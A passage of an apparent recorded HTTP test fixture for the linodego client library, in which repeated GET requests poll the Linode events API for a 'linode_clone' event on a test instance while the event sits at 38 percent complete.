"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 57.372613, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 57.452218, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 57.523142, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 57.594502, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 57.678913, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 57.743766, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 57.804568, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 57.966517, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 58.031969, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 58.104706, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 58.246428, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 58.306693, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 58.375116, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 58.441447, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 58.50832, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 58.581377, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 58.641589, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 